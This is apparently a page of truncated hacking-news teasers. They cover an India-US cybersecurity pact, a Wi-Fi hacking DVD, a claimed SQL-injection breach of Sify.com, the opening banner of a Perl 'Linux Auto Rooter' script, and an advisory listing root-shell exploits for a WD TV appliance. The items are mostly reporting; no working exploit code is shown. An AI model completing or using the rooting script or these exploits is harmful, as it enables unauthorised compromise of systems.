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India - US sign Cyber Shield deal India and the US on Tuesday inked a pact on cybersecurity to intensify information exchange on threats to computers and networks and initiate joint work on technologies against cyber-attacks. A joint statement on the India-US strategic dialogue has announced the cybersecurity agreement among new initiative by the two countries. These initiatives also include a plan to develop a software platform to make available non-sensitive government data to the public and to award $3 million each year to entrepreneurial projects that commercialise technologies to improve health. A memorandum of understanding between the Indian and the American Computer Emergency Response Teams (CERT) is expected to lead to routine exchange of information on vulnerabilities and co-operation on cybersecurity technologies, Indian CERT officials said. "This comes at a time when cybersecurity-related incidents are increasing in number and becoming more and more sophistic...

WLAN Security Megaprimer DVD Released - 10+ hours of Wi-Fi Hacking and Pwnage ! With over 40+ HD videos containing 12+ hours of Wireless Ownage, this DVD weighs in at around 4.2 Gigabytes! SecurityTube.net just released a 4.2 GB DVD containing over 40+ HD quality videos of their WLAN Security Megaprimer. These videos run over 10+ hours and start from the very basics of wireless hacking, then slowly build momentum and eventually introduces you to the more advanced attacks and hacks. The videos are fully practical and every hack is demonstrated. They have voice over with detailed explanations of every attack thus allowing a genuine learner to understand, learn and practice, rather then providing just a quick guide to using ready made tools. We contacted SecurityTube and this initiative is part of larger program they are planning to provide free security and hacking education to everyone, especially students in developing countries like India. THN has always been an advocate of ...

Sify.com hacked with SQL Injection Vulnerability Sify's website contain SQL injection Vulnerability and Hackers are able to Database Access, Database Dump, Possibility of shell uploading. Sify is one of India’s leading integrated Information Communications Technology companies. Sify was one of the first private sector player to offer internet access, when internet access was opened to private sector. It leased international bandwidth from global vendors, domestic connectivity from telecom players and set up last mile connectivity by multiple methods: wi-fi connections using roof top antennae, copper connections using phone lines or cable TV connections. Sify also started providing internet network connectivity for business enterprises in India. Sify set up a chain of franchised internet cafes (today a network of over 3,300+ cybercafes). No data has been dumped by Hackers. Database has been accessed just to take screenshots so that we can make company believethat the vuln...

2011 Linux Auto Rooter Beta 1.0 Coded by CrosS Source Code : #!/usr/bin/perl #Coded By CrosS ( 2011 Linux Auto r00t3r ) print "###########################################################\n"; print "# (Beta 1.0 ) Auto rooter by CrosS #\n"; print "# Usage : #\n"; print "# perl $0 root => To root #\n"; print "# perl $0 del => Delete Exploit #\n"; print "# #\n"; print "# as R00TW0RM - Private Community is back #\n"; print "# so Releasing 2011 auto rooter =) #\n"; print "# in case of error mailto: mr.0x0day[AT]live.com #\n"; print "# #\n"; print "# Thanks to: r0073r and L0rd CrusAd3r #\n";...

WD TV Live Hub Compromised - Multiple Vulnerabilities Found By Dr. Alberto Fontanella Dr. Alberto Fontanella found on (Western Digital) WD TV Live Hub appliance with the last firmware installed (2.06.10) and 3 exploits to get admin password, deface appliance and get root shell: Author: Dr. Alberto Fontanella E-mail: itsicurezza<0x40>yahoo.it Web: www.fulgursec.com Vendor: Western Digital Vendor Web: www.wdc.com Version: WD TV Live Hub <= 2.06.10 (firmware) ALL VERSIONS Type: Appliance Issues: Storage Anonymous Access, Full Path Disclosure, Bypass Authentication Schema, Appliance Command Execution, DoS, OS , Command Execution, Root Shell ;-) * AF - Owning WD TV Live Hub FILE: AF-Owning_WD_TV_Live_Hub.pdf INFO: Paper that shows all issues found on WD TV Live Hub and how use it to get Root! * AF - PoC/Exploit WD TV Live Hub Get Admin Password FILE: AF-WD_TV_Live_Hub_password.sh INFO: Exploit (Bypass Authentication Schema) to Get Admin Password o...